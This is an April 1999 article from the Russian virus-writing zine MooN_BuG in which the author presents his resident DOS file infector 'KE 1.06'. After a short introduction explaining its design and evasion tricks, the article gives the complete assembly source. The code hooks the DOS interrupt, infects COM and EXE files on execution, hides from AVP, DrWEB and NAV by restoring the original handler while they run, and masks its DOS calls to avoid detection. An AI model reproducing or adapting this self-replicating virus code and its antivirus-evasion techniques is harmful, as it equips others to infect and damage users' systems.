[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 10, Apr 1999                                          file 009

                                Вирус KE 1.06
                                                    by CrkV

     Приветствую  всех читателей. В этом номере журнала я бы хотел представить
на ваш суд мою очередную разработку, а именно - мой первый резидентный вирь KE
-  (KE.672  1.06).  Как видно из нумерации это далеко не первая версия. Но все
по-порядку,  изучив  вирь  Samara.1536,  я  решил  написать свой резидент. И в
течении  одного  вечера  [дата  скипнута ;-))] первая версия, которая заражала
только  COM-файла  -  KE.363,  -  была готова. Для противодействия антивирям я
применил,  трик,  взятый  из моего предыдущего виря - Marina (см. MoonBug N9).
Вообщем,  достаточно  наложить  маску  на  регистр  Ax  при  вызове Int 21h, и
антивирь  теряет  потенцию.  Для пущей надежности, да и для облома отладчиков,
вызов  функций  ДОС  ведется  через  Int  3h. Но т.к. на наличие виря в памяти
ругался  DrWEB,  мне пришлось сделать так, чтобы он замолчал. Просто напросто,
на  время  его  работы, как впрочем и других антивирей, зверек восстанавливает
Int  21h. Кроме того в последующих версиях было введено заражение неоверлейных
EXE-файлов  и еще всякие разные фишки, например, отключение адресной линии A20
(см. MoonBug N8).
     Да  еще,  хочу добавить, для тех кто собирается писать резидентники, чтоб
не  наступали  второй  раз на грабли, о которые споткнулся я. Дело в том что в
PSP:02h  хранится  вершина доступной свободной памяти, и при уменьшении памяти
через  48h  -  функцию  Int  21h,  данная  ячейка не корректируется, что может
плачевно  сказаться на проге. Т.к., например, при инсталляции виря с tlink.exe
(при  переданных  параметрах),  его  код (виря) затрется, что в конечном итоге
приведет к краху системы.
     Кроме,  того  в  вире используются недокументированные начальные значения
регистров  (Dx=PSP  и  Si=Ip).  Поэтому,  если  они  испорчены  (другим вирем,
упаковщиком  или  отладчиком),  то... В остальном явных багов я не замечал. Но
если что, мыльте мне на [email protected].

=== Cut ===
;Вирус KE 1.06 [расшифровка скипнута] (c) 1998, 1999 by CrkV
;С днем ... , товарищи ;-)))))

;use tasm ke_106.asm /m2 (для оптимизации)

;WARNING !!! Для компиляции использовать TASM 2.0 - 3.2


Debug   EQU     0                       ;Для отладки Debug = 1

IF      Debug                           ;обработчик Int 21h
Int21h  EQU     21h
Fexec   EQU     52FFh                   ;функция запуска
XB      EQU     0                       ;1 байт для XOR в Int 21h
XB2     EQU     0                       ;2 байт -\\-
BPr     EQU     1                       ;байт проверки резидента
ELSE
Int21h  EQU     03h
Fexec   EQU     4B00h                   ;функция запуска
XB      EQU     'K'                     ;1 байт для XOR в Int 21h
XB2     EQU     'E'                     ;2 байт -\\-
BPr     EQU     XB2                     ;байт проверки резидента
ENDIF

XW      EQU     XB Shl 8 + XB2          ;Слово для XOR в Int 21h

.286
.model tiny
.code
        Org     100h
KE:

;Начало вирусного кода
EntryPoint:

Size1p  EQU $ - Offset EntryPoint

;основная программа

@Start: PushF
        PushA
        Push    Es
        Mov     Bp,Offset EntryPoint - 100h
SizePrg = Word Ptr $ - 2 - Offset EntryPoint

        Mov     Ax,5200h + XB
        Int     21h
        Cmp     Al,BPr                  ;резидент установлен ?
        Je      @All_Installed

        Mov     Ax,3521h
        Int     21h                     ;дать адрес Int 21h
        Mov     Ss:[Bp+Ofs21h],Bx
        Mov     Ss:[Bp+Seg21h],Es
        Sub     Di,Di
        Push    Dx
        Pop     Es
@Get_Memory:

;--------- Memory Control Block structure --------------
MCB             struc
MCB_sig         db      ?               ; 'Z' or 'M'
MCB_owner       dw      ?               ; attribute of owner
MCB_size        dw      ?               ; size of MCB block
MCB_name        db      8 dup(?)        ; file name of owner
MCB             ends
;-------------------------------------------------------

        Mov     Ah,48h
        Mov     Bx,ReqMem
        Int     21h                     ;запросить блок памяти
        Jnc     @Alloc_Mem
        Sub     Word Ptr Ds:[Di+02h],ReqMem + 1 ;уменьшаем размер памяти в PSP
        Dec     Dx                      ;Dx - PSP
        Mov     Ds,Dx                   ;MCB блок
        Mov     Bx,Ds:[Di+03h]          ;размер блока
        Sub     Bx,ReqMem + 1
        Mov     Ah,4Ah
        Int     21h                     ;уменьшаем размер текущего блока
        Jmp     @Get_Memory

@Alloc_Mem:
        Mov     Es,Ax
        Dec     Ax
        Mov     Ds,Ax                   ;MCB полученного блока
        Mov     Word Ptr Ds:[Di+01h],08h;параграф описываемого блока
        Mov     Cx,VirLenght - 4
        Push    Cs
        Pop     Ds
        Lea     Si,[Bp+100h]
        Cld
        Rep     MovSB                   ;копируем вирус в память

        Push    Es
        Pop     Ds
        Call    SetMy21

@All_Installed:
        Push    Cs
        Pop     Ds

;закрываем адресную линию A20
        Lea     Si,[Bp+FirstFl+100h]
        Mov     Ax,4300h
        Int     2Fh
        Cmp     Al,80h
        Jne     @No_Himem               ;Himem.Sys не загружен
        Mov     Ax,4310h                ;дать адрес
        Int     2Fh

;т.к tasm резервирует под смещение слово, оптимизируем код

;       Mov     Word Ptr Ds:[Si+HmmEnt][0],Bx

        Mov     Word Ptr Ds:[Si+01h],Bx
        Org     $ - 1
        db      HmmEnt

;       Mov     Word Ptr Ds:[Si+HmmEnt][2],Es

        Mov     Word Ptr Ds:[Si+01h],Es
        Org     $ - 1
        db      HmmEnt + 2

        Mov     Ah,06h

;       Call    DWord Ptr Ds:[Si+HmmEnt]

        Call    DWord Ptr Ds:[Si+01h]
        Org     $ - 1
        db      HmmEnt


@No_Himem:

        Pop     Es
        LodSW
        Call    ProvMZ
        Je      @Exit_Exe
        Mov     Di,100h
        StoSW
        MovSW
        PopA
        PopF
        Push    Si                      ;уходим на начало Com - файла
        Ret

@Exit_Exe:
        PopA
        PopF
        Push    Dx                      ;PSP
        Pop     Ds
        Add     Dx,1234h
SaveSs  = Word Ptr $ - 2 - Offset EntryPoint

        Mov     Di,1234h
SaveSp  = Word Ptr $ - 2 - Offset EntryPoint

        Mov     Si,1234h
SaveIp  = Word Ptr $ - 2 - Offset EntryPoint

        Mov     Ss,Dx
        Mov     Sp,Di

;в принципе надо запрещать прерывания и возвращать по IRet
;т.к. область стека может попасть на следующие команды, но ...

        Mov     Dx,Ds

        Add     Dx,1234h
SaveCs  = Word Ptr $ - 2 - Offset EntryPoint

        Push    Dx Si
        Mov     Dx,Ds
        Retf

;-------------------------------------------------------
SetMy21 Proc
        Mov     Dx,Offset New21h
Set21:  Mov     Ax,2521h
        Int     21h                     ;устанавливаем вектор 21h
        Ret
SetMy21 EndP
;-------------------------------------------------------
ProvMZ  Proc
        Cmp     Ax,'MZ'
        Je      @ExitMZ
        Cmp     Ax,'ZM'
@ExitMZ:Ret
ProvMZ  EndP
;-------------- обработчик Int 24h ---------------------

New24h  EQU     $ - Offset EntryPoint

        Mov     Al,03h
        IRet

;-------------- обработчик Int 21h ---------------------

New21h  EQU     $ - Offset EntryPoint

        PushF
        PushA
        Xor     Ax,XW
        Cmp     Ax,(5200h + XB) Xor XW
        Jne     @Not_Check
        PopA
        Mov     Al,BPr
        Jmp     @Ex_PopF
@Not_Check:
        Cmp     Ax,Fexec Xor XW
        Jnz     @Not_Exec
        Call    Exec
@Not_Exec:
        PopA
@Ex_PopF:
        PopF
@Ex_21h:
        db      0EAh                    ;Jmp Far Seg:Ofs

Ofs21h  = Word Ptr $ - Offset EntryPoint + 100h
        dw      ?
Seg21h  = Word Ptr $ - Offset EntryPoint + 100h
        dw      ?

;------------- 2 обработчик Int 21h --------------------

New21h2 EQU     $ - Offset EntryPoint

        Xor     Ax,XW
        Jmp     @Ex_21h

;-------------------------------------------------------
SetAtr  Proc
;устанавливает атрибуты файла
        Mov     Ax,4301h Xor XW
        Int     Int21h
        Ret
SetAtr  EndP
;-------------------------------------------------------
WriteF  Proc
;записывает данные в файл Ds:Dx - буфер, Cx - размер
        Mov     Ah,40h Xor XB
        Int     Int21h
        Ret
WriteF  EndP
;-------------------------------------------------------
SetFPE  Proc
;устанавливает указатель записи в файл на конец файла
        Mov     Al,02h Xor XB2
SetFP:  Mov     Ah,42h Xor XB
        Sub     Cx,Cx

BC      EQU     (42h Xor XB) And 80h

IF      BC                              ;Просто напросто обнуляем Dx
        Sub     Dx,Dx
ELSE
        Cwd                             ;Если старший бит Ax 0 (экономим байт ;)
EndIF

        Int     Int21h
        Ret
SetFPE  Endp
;-------------------------------------------------------
Infect  Proc
;Si - размер,Di -область для модификации начала
        Mov     Ax,5700h Xor XW
        Int     Int21h                  ;получить время созд.(изм.) файла
        Push    Cx Dx
        Cwd                             ;Dx=0 (Ax=5700h)
        Mov     Cx,VirLenght
        Call    WriteF
        Jc      @Exit_Infect_Time
        Cmp     Ax,Cx
        Mov     Al,00h Xor XB2          ;подготовимся к модификации начала
        Je      @Write_Ok
        Mov     Al,02h Xor XB2          ;запишем 0 байт к концу (отрежем вирь),
        Sub     Si,Si                   ;т.к. он записан не весь

@Write_Ok:
        Call    SetFP
        Mov     Dx,Di
        Mov     Cx,Si
        Call    WriteF                  ;модифицируем начало или обрезаем
@Exit_Infect_Time:
        Mov     Ax,5701h Xor XW
        Pop     Dx Cx
        Int     Int21h                  ;восстанавливаем время
        Ret
Infect  Endp
;-------------------------------------------------------
@Exec_Antivir:

        LDs     Dx,Cs:[Ofs21h-100h]     ;восстанавливаем Int 21h
        Call    Set21                   ;который был до нас
        Pop     Es Ds Ax                ;Ax - Ret
        PopA                            ;запускаем антивирь
        Call    DWord Ptr Cs:[Ofs21h-100h]      ;Int 21h Ax=4B00h

        PushA
        Push    Ds Es Cs
        Pop     Ds
        Mov     Ax,3521h
        Int     21h
        Mov     Ds:[Ofs21h-100h],Bx     ;запоминаем новый Int 21h
        Mov     Ds:[Seg21h-100h],Es

        Call    SetMy21                 ;снова устанавливаем свой Int 21h

        Pop     Es Ds
        PopA
        RetF    02h
;-------------------------------------------------------
Exec    Proc
        Push    Ds Es Ds
        Pop     Es
        Mov     Di,Dx
        Mov     Cx,0FFFFh
        Sub     Al,Al
        Repne   ScaSB
        Mov     Ax,[Di-07h]
        And     Ax,1101111111011111b
        Push    Cs
        Pop     Es
        Mov     Cx,SizeNI               ;проверка на неинфицируемые файлы
        Mov     Di,Offset OfsNI
        Repne   ScaSW
        Jne     @Not_NI
        Pop     Es Ds
        Ret

@Not_NI:
        Mov     Cx,SizeAV
        Mov     Di,Offset OfsAV
        Repne   ScaSW
        Je      @Exec_Antivir
        Mov     Ax,3500h + Int21h       ;дать адрес обработчика, который
        Int     21h                     ;будет использоваться вместо Int21h
        Push    Es Bx
        Mov     Al,24h
        Int     21h                     ;дать адрес обработчика кр.ош. Int 24h
        Push    Es Bx Ds Dx Cs
        Pop     Ds
        Mov     Ah,25h
        Mov     Dx,Offset New24h
        Int     21h                     ;устанавливаем вектор 24h

        Mov     Al,Int21h
        Mov     Dx,Offset New21h2
        Int     21h                     ;устанавливаем вектор для Int 21h

        Pop     Dx Ds
        Mov     Ax,4300h Xor XW
        Int     Int21h                  ;получить атрибуты файла

        Push    Cx

        Sub     Cx,Cx
        Call    SetAtr                  ;очищаем атрибуты файла

        Jnc     @Ok_Atr
;       Jc      @Error_Atr
        Pop     Cx
        Jmp     @Error_Atr
@Ok_Atr:

        Mov     Ax,3D02h Xor XW
        Int     Int21h                  ;открываем файл в режиме (чт./зп.)

        Jnc     @Ok_Open
;       Jc      @Error_Open
        Jmp     @Error_Open
@Ok_Open:

        Xchg    Bx,Ax                   ;Ax - Handle файла
        Push    Ds Dx Cs Cs
        Pop     Es Ds
        Mov     Si,Offset FirstFl
        Mov     Ah,3Fh Xor XB
        Mov     Cx,1Ah
        Mov     Dx,Si
        Int     Int21h                  ;читаем первые 1Ah байт файла
        Cmp     Ax,Cx

        Je      @Ok_Size
;       Jne     @Exit_Infect            ;файл маловат
@Exit_Infect2:
        Jmp     @Exit_Infect            ;файл маловат
@Ok_Size:

        LodSW
        Call    ProvMZ
        Je      @Exe_Format

        Call    SetFPE

;не проверяем на запуск испорченных файлов
;       Or      Dx,Dx                   ;больше 65535 байт ?
;       Jnz     @Exit_Infect2           ;большой файл

        Cmp     Ax,0FC00h - VirLenght
        Ja      @Exit_Infect2           ;большой файл

        Mov     Ds:SizePrg,Ax
        Xchg    Bp,Ax

        LodSW
        Xor     Al,'V'                  ;возможно инфицирован ?
        Cmp     Al,Ah
        Je      @Exit_Infect2

        Mov     Di,VirLenght
        Mov     Al,0E9h
        StoSB
        Lea     Ax,[Bp-03h]             ;вычисляем смещение вируса в файле
        StoSW
        Mov     Al,Ah
        Xor     Al,'V'
        StoSB
        Mov     Si,4
        Mov     Di,VirLenght
        Jmp     @Infect

@Exe_Format:
;-------------------------------------------------------
Exe_Header      STRUC
EH_Signature    dw ?                    ; Set to 'MZ' or 'ZM' for .exe files
EH_Modulo       dw ?                    ; remainder of file size/512
EH_Size         dw ?                    ; file size/512
EH_Reloc        dw ?                    ; Number of relocation items
EH_Size_Header  dw ?                    ; Size of header in paragraphs
EH_Min_Mem      dw ?                    ; Minimum paragraphs needed by file
EH_Max_Mem      dw ?                    ; Maximum paragraphs needed by file
EH_SS           dw ?                    ; Stack segment displacement
EH_SP           dw ?                    ; Stack Pointer
EH_Checksum     dw ?                    ; Checksum, not used
EH_IP           dw ?                    ; Instruction Pointer of Exe file
EH_CS           dw ?                    ; Code segment displacement of .exe
eh_1st_reloc    dw      ?               ; first relocation item
eh_ovl          dw      ?               ; overlay number
Exe_Header      ENDS
;-------------------------------------------------------
;Si - Exe Header + 2

        Cmp     Byte Ptr [Si+18h],40h   ;Windows ? По идеи размер этих файлов
        Je      @Exit_Infect            ;не совпадает с размером в DOS-EXE
                                        ;заголовке. Но не всегда... KRNL386.EXE

        Mov     Ax,[Si]
        Xor     Ax,XW
        Cmp     [Si+10h],Ax             ;возможно инфицирован ?
        Je      @Exit_Infect

        Call    SetFPE
        Mov     Bp,Ax
        Mov     Di,Dx
        Mov     Cx,200h
        Div     Cx                      ;Ax - размер файла в 512 байтных кусках
        Mov     Cx,VLD + 1
        Or      Dx,Dx
        Jz      @Equal_512
        Inc     Ax
        Dec     Cx
@Equal_512:
        Cmp     Dx,[Si]                 ;проверяем оверлейность
        Jne     @Exit_Infect
        Cmp     Ax,[Si+02h]
        Jne     @Exit_Infect

;модифицируем данные о размере программы
        LodSW
        Add     Ax,VLM
        Shl     Ax,7
        Adc     Word Ptr [Si],Cx
        Shr     Ax,7
        Mov     [Si-02h],Ax
        Xor     Ax,XW
        Mov     [Si+0Eh],Ax             ;метка вируса

        Xchg    Ax,Bp
        Mov     Dx,Di
        Mov     Cx,10h
        Div     Cx
        Sub     Ax,[Si+04h]             ;размер заголовка
        Mov     Di,Ax
        Xchg    Ax,[Si+12h]             ;Cs
        Add     Ax,Cx
        Mov     Bp,-100h
        Add     Bp,Dx
        Mov     Ds:SizePrg,Bp
        Mov     Ds:SaveCs,Ax
        Xchg    Dx,[Si+10h]             ;Ip
        Mov     Ds:SaveIp,Dx

        Xchg    Di,[Si+0Ah]
        Add     Di,Cx
        Mov     Ds:SaveSs,Di            ;Ss = Cs
        Mov     Ax,((VirLenght Shr 1) Shl 1) + 400h
        Xchg    Ax,[Si+0Ch]             ;Sp
        Mov     Ds:SaveSp,Ax

        Mov     Si,18h
        Mov     Di,VirLenght - 4
@Infect:
        Call    Infect

@Exit_Infect:
        Mov     Ah,3Eh Xor XB
        Int     Int21h                  ;закрываем файл

        Pop     Dx Ds
@Error_Open:
        Pop     Cx
        Call    SetAtr                  ;восстанавливаем атрибуты

@Error_Atr:
        Pop     Dx Ds
        Mov     Ax,2524h Xor XW
        Int     Int21h                  ;восстанавливаем вектора прерываний
        Pop     Dx Ds
        Mov     Al,Int21h
        Int     21h
        Pop     Es Ds
        Ret
Exec    EndP
;-------------------------------------------------------
OfsNI   EQU     $ - Offset EntryPoint   ;не заражаем
LineNI  db      'NDINST'                ;Command,Win,AidsTest
SizeNI  EQU     ($ - OfsNI - Offset EntryPoint)/2

OfsAV   EQU     $ - Offset EntryPoint   ;антивири
LineAV  db      'VPTEEBDX'              ;AVP,AVPlite,DrWEB,NAVDX
SizeAV  EQU     ($ - OfsAV - Offset EntryPoint)/2
;-------------------------------------------------------
FirstFl EQU     $ - Offset EntryPoint
        db      0C3h
SaveOfs = Word Ptr $ - Offset EntryPoint
        dw      ?
        db      ?                       ;метка вируса
VirLenght EQU   $ - Offset EntryPoint
VLM     EQU     VirLenght Mod 512
VLD     EQU     VirLenght / 512
;-------------------------------------------------------
HmmEnt  = DWord Ptr $ - FirstFl - 100h
        db      18h     Dup (?)
ReqMem  EQU     ($ - Offset EntryPoint) Shr 4 + 1
;-------------------------------------------------------
        End     KE
=== Cut ===